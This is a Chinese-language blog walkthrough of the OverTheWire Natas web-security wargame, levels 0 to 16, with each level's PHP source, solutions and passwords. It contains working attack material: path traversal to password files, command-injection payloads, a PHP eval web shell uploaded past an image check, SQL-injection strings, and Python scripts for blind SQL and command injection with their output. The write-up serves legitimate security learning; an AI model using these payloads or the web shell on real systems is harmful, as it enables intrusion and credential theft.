Natas是OverTheWire网站中一个关于Web安全的一个在线靶场,采取闯关的方式,题目一般是循序渐进的,做了几道觉得觉得还挺有意思的,所以记录一下。

链接: https://overthewire.org/wargames/natas/

每一关的目标就是获得下一关的登录密码。每关的密码都存放在/etc/natas_webpass/natasX中,比如打开http://natas0.natas.labs.overthewire.org 的密码就存放在/etc/natas_webpass/natas5中。

natas0

链接:http://natas0.natas.labs.overthewire.org

打开题目,直接右键查看源码就可以看到natas1的登录密码:

1
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

natas Level 0 -> natas Level 1

链接:http://natas1.natas.labs.overthewire.org

打开题目看到提示:

1
You can find the password for the next level on this page, but rightclicking has been blocked!

不能查看源码了,所以直接F12看源码,发现登录密码:

1
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

natas Level 1 -> natas Level 2

链接:http://natas2.natas.labs.overthewire.org

打开题目,再次查看源码,在源码中发现了可疑的files/pixel.png

4

没发现什么东西,但是这说明在Web目录下存在一个叫做files的子目录,直接访问一下这个子目录http://natas2.natas.labs.overthewire.org/files/

5

查看users.txt文件,在里面发现了natas3的登录密码:natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

natas Level 2 -> natas Level 3

链接:http://natas3.natas.labs.overthewire.org

右键查看源码:

1
<!-- No more information leaks!! Not even Google will find it this time... -->

提示说即使Google搜索也不会发现,也就是提示我们应该去看robots.txt文件,因为这个文件通常会告诉网络搜索引擎网站中的哪些内容是不应该爬取的。

1
2
User-agent: *
Disallow: /s3cr3t/

所以我们访问http://natas3.natas.labs.overthewire.org/s3cr3t/,得到一个user.txt文件,访问该文件得到下一关的登录密码:natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

natas Level 3 -> natas Level 4

链接:http://natas4.natas.labs.overthewire.org

打开题目看到提示说当前访问的referer来自http://natas4.natas.labs.overthewire.org/,但是应该来自http://natas5.natas.labs.overthewire.org/

6

所以用burp抓个包,改个referer就可以了:

7

得到下一关的密码:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

natas Level 4 -> natas Level 5

链接:http://natas5.natas.labs.overthewire.org

本关提示:

1
Access disallowed. You are not logged in

用burp抓个包看看,发现存在cookie字段loggedin=0,显然0表示没登录,改成1即可:

8

得到登陆密码:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

natas Level 5 -> natas Level 6

链接:http://natas6.natas.labs.overthewire.org

打开题目,本关有源码,看一下:

1
2
3
4
5
6
7
8
9
10
11
<?
include "includes/secret.inc";

if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>

我们需要传入一个POST参数secret,这个值需要和变量$secret的值一样,所以要先得到$secret的值。

在源码顶部包含了文件includes/secret.inc$secret参数应该就在这个文件中,访问一下可以得到:

1
2
3
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>

所以得到下一关的密码:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

natas Level 6 -> natas Level 7

链接:http://natas7.natas.labs.overthewire.org

打开题目看到:

9

这里有两个页面,HomeAbout,点击一下Home发现url发生了改变,变成了:

1
http://natas7.natas.labs.overthewire.org/index.php?page=home

访问About,就变成了:

1
http://natas7.natas.labs.overthewire.org/index.php?page=about

然后右键查看源码看到提示:

1
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->

所以访问

1
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

就能得到密码:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

natas Level 7 -> natas Level 8

链接:http://natas8.natas.labs.overthewire.org

本关又是很简单的代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>

源码中对用户传递的参数$_POST['secret']进行了简单的加密,加密后的值应该和$encodedSecret相同,所以对$encodedSecret进行解密就可以知道我们应该传递怎样的参数值:

1
2
3
4
5
6
7
<?php
$code = "3d3d516343746d4d6d6c315669563362";
function decodeSecret($secret){
return base64_decode(strrev(hex2bin($secret)));
}
print_r(decodeSecret($code));
?>

secretoubWYf2kBq,得到下一关的密码:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

natas Level 8 -> natas Level 9

链接:http://natas9.natas.labs.overthewire.org

查看源码:

1
2
3
4
5
6
7
8
9
10
11
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>

源码中可以看到需要我们传入参数needle,如果needle不为空字符串,则调用passthru函数执行grep命令读取dictionary.txt文件中的内容,其中-i表示不区分大小写。

而且题目中已经告知,每关的flag都存放在/etc/natas_webpass/natasX中,其中X表示关卡数,所以本关的flag存放在/etc/natas_webpass/natas10中。

所以我构造了grep -i 123 123.txt || cat /etc/natas_webpass/natas10 %23

我们知道在linux中可以一次性执行多个命令:

1
2
3
cmd1;cmd2;cmd3;	// 命令执行前后没有依赖关系
cmd1 || cmd2 // 命令cmd1执行失败了之后会执行cmd2,命令cmd1执行成功则不执行cmd2
cmd1 && cmd2 // 当命令cmd1执行成功之后才会执行cmd2

因为不存在123.txt,所以会执行cat /etc/passwd

2

而且在命令执行中#符号表示注释掉后面的命令,如下面这个例子只会输出10#后面的会被注释掉。

1
2
$ echo 10 # 100
10

当然对于这个例子来说,没有#也无妨,只是会输出dictionary.txt中的内容而已,但是如果要用的话得注意将#编码。

1

得到natas10的密码:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

natas Level 9 -> natas Level 10

链接:http://natas10.natas.labs.overthewire.org

直接查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>

这道题我们看到是用preg_replace函数对needle参数进行过滤,在needle参数中不能包含;|&字符。

但是grep命令和cat命令一样,都是可以读取多文件的,而且支持正则表达式搜索,所以我们可以这样构造:

1
.* /etc/natas_webpass/natas11 %23

3

得到密码:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

natas Level 10 -> natas Level 11

链接:http://natas11.natas.labs.overthewire.org

先看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';

// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}

return $outText;
}

function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}

function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}

saveData($data);
?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>

页面中同时存在提示:

1
Cookies are protected with XOR encryption

用burp抓个包,能看到这样的Cookie值:

1
Cookie: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

这道题需要一点密码学知识,我在这一块不太灵光,所以就先借用别人的答案。

密码 : EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

natas Level 11 -> natas Level 12

链接:http://natas12.natas.labs.overthewire.org

本关考察的是文件上传:

10

直接看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
? 
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? }
?>

这道题很简单,直接上传个小马就可以了:

1
<?php eval($_POST['cmd']); ?>

然后访问小马得到natas13的密码:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

natas Level 12 -> natas Level 13

链接:http://natas13.natas.labs.overthewire.org

打开题目就看到提示必需上传一张图片,然后再来看一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<? 
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";

for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}

return $string;
}

function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>

代码中会用exif_imagetype函数来获取图片类型,这个很好绕过,只要在文件中添加图片头就可以了,比如gif的文件头是GIF89a

这里额外需要注意的是,这里上传的默认文件后缀是.jpg,需要修改为.php,如下图所示:

12

1
2
3
http://natas13.natas.labs.overthewire.org/upload/vnja0i8yjc.php
// POST
cmd=system("cat /etc/natas_webpass/natas14");

执行得到:

13

得到下一关密码:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

natas Level 13 -> natas Level 14

链接:http://natas14.natas.labs.overthewire.org

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>

从源码可以看到$_REQUEST["username"]是用户完全可控的,没有经过任何过滤就直接拼接进了SQL查询语句,而且用的是双括号,所以直接用万能密码即可:

1
2
username : 1" or 1=1 #
password : 123

14

natas15的登录密码是AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

natas Level 14 -> natas Level 15

链接:http://natas15.natas.labs.overthewire.org

还是sql注入题目,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}

mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? }
?>

打开题目看到的就是根据用户名查询:

15

查询natas1natas15返回的都是This user doesn't exist.,但是查询下一关的用户natas16,返回的确是This user exists.,只有两种状态,用户存在和用户不存在,所以我们可以用布尔盲注来解决这道题。

之前对于盲注,我都会这么构造:

1
username=natas16" and (ascii(substr((select password from users),1,1))>-1) #

但是对于本道题不适用,这么构造会报错,因为Subquery returns more than 1 row

所以我们还可以用模糊匹配,MySQL支持用LIKE BINARY ...%来进行模糊匹配。其中BINARY关键字表示大小写敏感,比如我们现在新建一个数据表users,并插入数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> create table users(
-> id int(6) unsigned auto_increment primary key,
-> username varchar(20) not null,
-> email varchar(20) not null );
Query OK, 0 rows affected (0.04 sec)

mysql> INSERT INTO users VALUE(1, 'Cosimo', 'Cosimo@gmail.com');
Query OK, 1 row affected (0.01 sec)

mysql> INSERT INTO users VALUE(2, 'Lorenzo', 'Lorenzo@gmail.com');
Query OK, 1 row affected (0.01 sec)

mysql> INSERT INTO users VALUE(3, 'Piero', 'Piero@gmail.com');
Query OK, 1 row affected (0.00 sec)

%r%表示匹配字段中含有字符r的数据,r%表示匹配字段值以字符r开头的数据:

1
2
3
4
5
6
7
8
9
10
mysql> SELECT * FROM users WHERE username='Piero' and email LIKE BINARY '%r%';
+----+----------+-----------------+
| id | username | email |
+----+----------+-----------------+
| 3 | Piero | Piero@gmail.com |
+----+----------+-----------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users WHERE username='Piero' and email LIKE BINARY 'r%';
Empty set (0.00 sec)

对本道题,我们可以进行如下注入:

1
username=natas16" AND password LIKE BINARY '%a%' #

返回的结果是The user exists.,说明在密码中含有字符a

16

1
username=natas16" AND password LIKE BINARY '%A%' #

返回的结果是The user doesn't exist.,说明在密码中不含字符A

17

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
from requests.auth import HTTPBasicAuth

username = 'natas15'
password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
url = 'http://natas15.natas.labs.overthewire.org'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
candidate_chars = ''
passwd = ''

print ("[*] Natas15 -> Natas16 Start!")
for ch in chars:
payload = 'natas16" AND password LIKE BINARY "%' + ch + '%" #'
r = requests.post(url = url, auth=HTTPBasicAuth(username, password), data={'username':payload})
if "exists" in r.text:
candidate_chars += ch
print ("[-] Characters Used : ", candidate_chars)
# candidate_chars = '03569acehijmnpqtwBEHINORW'

for i in range(0, 32):
for ch in candidate_chars:
payload = 'natas16" AND password LIKE BINARY "' + passwd + ch + '%" #'
r = requests.post(url = url, auth=HTTPBasicAuth(username, password), data={'username':payload})
if "exists" in r.text:
passwd += ch
print ("[-] Password : ", passwd, "*"*(32-i-1))
break

print ("[*] Natas15 -> Natas16 Completed!")

上面exp中用了两个for循环,第一个for循环中的payload匹配方式是%...%,主要目的是找出密码中用到的字符;第二个for循环匹配密码。

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
[*] Natas15 -> Natas16 Start!
[-] Characters Used : 0
[-] Characters Used : 03
[-] Characters Used : 035
[-] Characters Used : 0356
[-] Characters Used : 03569
[-] Characters Used : 03569a
[-] Characters Used : 03569ac
[-] Characters Used : 03569ace
[-] Characters Used : 03569aceh
[-] Characters Used : 03569acehi
[-] Characters Used : 03569acehij
[-] Characters Used : 03569acehijm
[-] Characters Used : 03569acehijmn
[-] Characters Used : 03569acehijmnp
[-] Characters Used : 03569acehijmnpq
[-] Characters Used : 03569acehijmnpqt
[-] Characters Used : 03569acehijmnpqtw
[-] Characters Used : 03569acehijmnpqtwB
[-] Characters Used : 03569acehijmnpqtwBE
[-] Characters Used : 03569acehijmnpqtwBEH
[-] Characters Used : 03569acehijmnpqtwBEHI
[-] Characters Used : 03569acehijmnpqtwBEHIN
[-] Characters Used : 03569acehijmnpqtwBEHINO
[-] Characters Used : 03569acehijmnpqtwBEHINOR
[-] Characters Used : 03569acehijmnpqtwBEHINORW
[-] Password : W *******************************
[-] Password : Wa ******************************
[-] Password : WaI *****************************
[-] Password : WaIH ****************************
[-] Password : WaIHE ***************************
[-] Password : WaIHEa **************************
[-] Password : WaIHEac *************************
[-] Password : WaIHEacj ************************
[-] Password : WaIHEacj6 ***********************
[-] Password : WaIHEacj63 **********************
[-] Password : WaIHEacj63w *********************
[-] Password : WaIHEacj63wn ********************
[-] Password : WaIHEacj63wnN *******************
[-] Password : WaIHEacj63wnNI ******************
[-] Password : WaIHEacj63wnNIB *****************
[-] Password : WaIHEacj63wnNIBR ****************
[-] Password : WaIHEacj63wnNIBRO ***************
[-] Password : WaIHEacj63wnNIBROH **************
[-] Password : WaIHEacj63wnNIBROHe *************
[-] Password : WaIHEacj63wnNIBROHeq ************
[-] Password : WaIHEacj63wnNIBROHeqi ***********
[-] Password : WaIHEacj63wnNIBROHeqi3 **********
[-] Password : WaIHEacj63wnNIBROHeqi3p *********
[-] Password : WaIHEacj63wnNIBROHeqi3p9 ********
[-] Password : WaIHEacj63wnNIBROHeqi3p9t *******
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0 ******
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0m *****
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5 ****
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5n ***
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5nh **
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5nhm *
[-] Password : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
[*] Natas15 -> Natas16 Completed!

密码是:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

natas Level 15 -> natas Level 16

链接:http://natas16.natas.labs.overthewire.org

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}

if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>

这道题和前面的一道题的差别有两点:

  1. 过滤的字符增加了
  2. 用户可控的$key用双括号""处理了

我看了网上别的大佬的WP,发现可以用grep来实现盲注,我们知道用grep查找文件中的某个字符串时,如果能找到,则返回整个该字符串所在行的字符,反之什么都不返回。

18

我们已经知道natas17的密码存放在/etc/natas_webpass/natas17,所以对于

1
grep a /etc/natas_webpass/natas17

如果字符a/etc/natas_webpass/natas17中就会返回整行密码,反之则返回""

现在只需要让grep a /etc/natas_webpass/natas17执行即可。我们知道在linux中,`符号和$()都可以执行命令,现在过滤的只是前者,所以可以构造:

1
grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt

对于$(grep a /etc/natas_webpass/natas17),返回的是dictionary.txt中的内容:

20

说明$(grep a /etc/natas_webpass/natas17)的结果是"",也就是字符a并不在,所以最后会执行

1
grep -i "" dictionary.txt

会返回整个dictionary.txt的内容。

而对于$(grep A /etc/natas_webpass/natas17),返回的是Output:\n<pre>\n</pre>

19

说明字符A/etc/natas_webpass/natas17中,所以会返回整行文本,再和dictionary.txt中的文本进行匹配,自然匹配不到任何东西,所以不会输出任何东西。

循着这个思路,可以写一个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from requests.auth import HTTPBasicAuth

username = 'natas16'
password = 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
candidate_chars = ''
passwd = ''

print ("[*] Start!")
for ch in chars:
payload = '$(grep ' + ch + ' /etc/natas_webpass/natas17'
url = 'http://natas16.natas.labs.overthewire.org/?needle=' + payload + ')&submit=Search'
r = requests.get(url = url, auth=HTTPBasicAuth(username, password))
if 'Output:\n<pre>\n</pre>' in r.text:
candidate_chars += ch
print('[-] Characaters Used : ', candidate_chars)
#candidate_chars = '035789bcdghkmnqrswAGHNPQSW'

for i in range(0, 32):
for ch in candidate_chars:
payload = '$(grep ^' + passwd + ch + ' /etc/natas_webpass/natas17)'
url = 'http://natas16.natas.labs.overthewire.org/?needle=' + payload + '&submit=Search'
r = requests.get(url=url, auth=HTTPBasicAuth(username, password))
if 'Output:\n<pre>\n</pre>' in r.text:
passwd += ch
break
print ("[-] Password : ", passwd, '*'*(32-i-1))

print ("[*] Completed!")

第一个for循环主要是找出在密码中用到的字符,第二个for循环:

1
payload = '$(grep ^' + passwd + ch + ' /etc/natas_webpass/natas17)'

^来限定第一个字符。

最后得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
[*] Start!
[-] Characaters Used : 0
[-] Characaters Used : 03
[-] Characaters Used : 035
[-] Characaters Used : 0357
[-] Characaters Used : 03578
[-] Characaters Used : 035789
[-] Characaters Used : 035789b
[-] Characaters Used : 035789bc
[-] Characaters Used : 035789bcd
[-] Characaters Used : 035789bcdg
[-] Characaters Used : 035789bcdgh
[-] Characaters Used : 035789bcdghk
[-] Characaters Used : 035789bcdghkm
[-] Characaters Used : 035789bcdghkmn
[-] Characaters Used : 035789bcdghkmnq
[-] Characaters Used : 035789bcdghkmnqr
[-] Characaters Used : 035789bcdghkmnqrs
[-] Characaters Used : 035789bcdghkmnqrsw
[-] Characaters Used : 035789bcdghkmnqrswA
[-] Characaters Used : 035789bcdghkmnqrswAG
[-] Characaters Used : 035789bcdghkmnqrswAGH
[-] Characaters Used : 035789bcdghkmnqrswAGHN
[-] Characaters Used : 035789bcdghkmnqrswAGHNP
[-] Characaters Used : 035789bcdghkmnqrswAGHNPQ
[-] Characaters Used : 035789bcdghkmnqrswAGHNPQS
[-] Characaters Used : 035789bcdghkmnqrswAGHNPQSW
[-] Password : 8 *******************************
[-] Password : 8P ******************************
[-] Password : 8Ps *****************************
[-] Password : 8Ps3 ****************************
[-] Password : 8Ps3H ***************************
[-] Password : 8Ps3H0 **************************
[-] Password : 8Ps3H0G *************************
[-] Password : 8Ps3H0GW ************************
[-] Password : 8Ps3H0GWb ***********************
[-] Password : 8Ps3H0GWbn **********************
[-] Password : 8Ps3H0GWbn5 *********************
[-] Password : 8Ps3H0GWbn5r ********************
[-] Password : 8Ps3H0GWbn5rd *******************
[-] Password : 8Ps3H0GWbn5rd9 ******************
[-] Password : 8Ps3H0GWbn5rd9S *****************
[-] Password : 8Ps3H0GWbn5rd9S7 ****************
[-] Password : 8Ps3H0GWbn5rd9S7G ***************
[-] Password : 8Ps3H0GWbn5rd9S7Gm **************
[-] Password : 8Ps3H0GWbn5rd9S7GmA *************
[-] Password : 8Ps3H0GWbn5rd9S7GmAd ************
[-] Password : 8Ps3H0GWbn5rd9S7GmAdg ***********
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQ **********
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQN *********
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNd ********
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdk *******
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkh ******
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhP *****
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPk ****
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq ***
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9 **
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c *
[-] Password : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
[*] Completed!

所以下一关的密码是:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

—————————————————- 手动分界线 —————————————————-

因为篇幅还有时间的原因,就先写这么多吧,这个Natas靶场一共有34关,就先做一半吧。